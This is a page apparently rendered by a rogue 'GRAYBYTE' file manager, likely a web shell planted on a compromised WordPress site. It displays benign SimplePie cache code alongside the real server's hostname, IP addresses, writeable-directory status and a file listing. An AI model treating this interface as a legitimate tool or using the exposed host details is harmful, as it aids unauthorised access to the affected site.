$38 GRAYBYTE WORDPRESS FILE MANAGER $75

SERVER : vnpttt-amd7f72-h1.vietnix.vn #1 SMP Fri May 24 12:42:50 UTC 2024
SERVER IP : 103.200.23.149 | ADMIN IP 216.73.216.22
OPTIONS : CRL = ON | WGT = ON | SDO = OFF | PKEX = OFF
DEACTIVATED : NONE

/home/bqrcodec/contact.groupg.com.sg/wp-includes/SimplePie/src/Cache/

HOME
Current File : /home/bqrcodec/contact.groupg.com.sg/wp-includes/SimplePie/src/Cache//CallableNameFilter.php
<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie\Cache;

/**
 * Creating a cache filename with callables
 */
final class CallableNameFilter implements NameFilter
{
    /**
     * @var callable(string): string
     */
    private $callable;

    /**
     * @param callable(string): string $callable
     */
    public function __construct(callable $callable)
    {
        $this->callable = $callable;
    }

    /**
     * Method to create cache filename with.
     *
     * The returning name MUST follow the rules for keys in PSR-16.
     *
     * @link https://www.php-fig.org/psr/psr-16/
     *
     * The returning name MUST be a string of at least one character
     * that uniquely identifies a cached item, MUST only contain the
     * characters A-Z, a-z, 0-9, _, and . in any order in UTF-8 encoding
     * and MUST not longer then 64 characters. The following characters
     * are reserved for future extensions and MUST NOT be used: {}()/\@:
     *
     * A provided implementing library MAY support additional characters
     * and encodings or longer lengths, but MUST support at least that
     * minimum.
     *
     * @param string $name The name for the cache will be most likely an url with query string
     *
     * @return string the new cache name
     */
    public function filter(string $name): string
    {
        return call_user_func($this->callable, $name);
    }
}

Current_dir [ WRITEABLE ] Document_root [ WRITEABLE ]


[ Back ]
NAME
SIZE
LAST TOUCH
USER
CAN-I?
FUNCTIONS
..
--
4 Feb 2026 9.23 AM
bqrcodec / bqrcodec
0755
Base.php
1.834 KB
4 Dec 2025 5.12 AM
bqrcodec / bqrcodec
0644
BaseDataCache.php
3.503 KB
4 Dec 2025 5.12 AM
bqrcodec / bqrcodec
0644
CallableNameFilter.php
1.482 KB
4 Dec 2025 5.12 AM
bqrcodec / bqrcodec
0644
DB.php
3.618 KB
4 Dec 2025 5.12 AM
bqrcodec / bqrcodec
0644
DataCache.php
2.733 KB
4 Dec 2025 5.12 AM
bqrcodec / bqrcodec
0644
File.php
2.907 KB
4 Dec 2025 5.12 AM
bqrcodec / bqrcodec
0644
Memcache.php
3.625 KB
4 Dec 2025 5.12 AM
bqrcodec / bqrcodec
0644
Memcached.php
3.739 KB
4 Dec 2025 5.12 AM
bqrcodec / bqrcodec
0644
MySQL.php
13.382 KB
4 Dec 2025 5.12 AM
bqrcodec / bqrcodec
0644
NameFilter.php
1.147 KB
4 Dec 2025 5.12 AM
bqrcodec / bqrcodec
0644
Psr16.php
3.18 KB
4 Dec 2025 5.12 AM
bqrcodec / bqrcodec
0644
Redis.php
4.204 KB
4 Dec 2025 5.12 AM
bqrcodec / bqrcodec
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME
Static GIF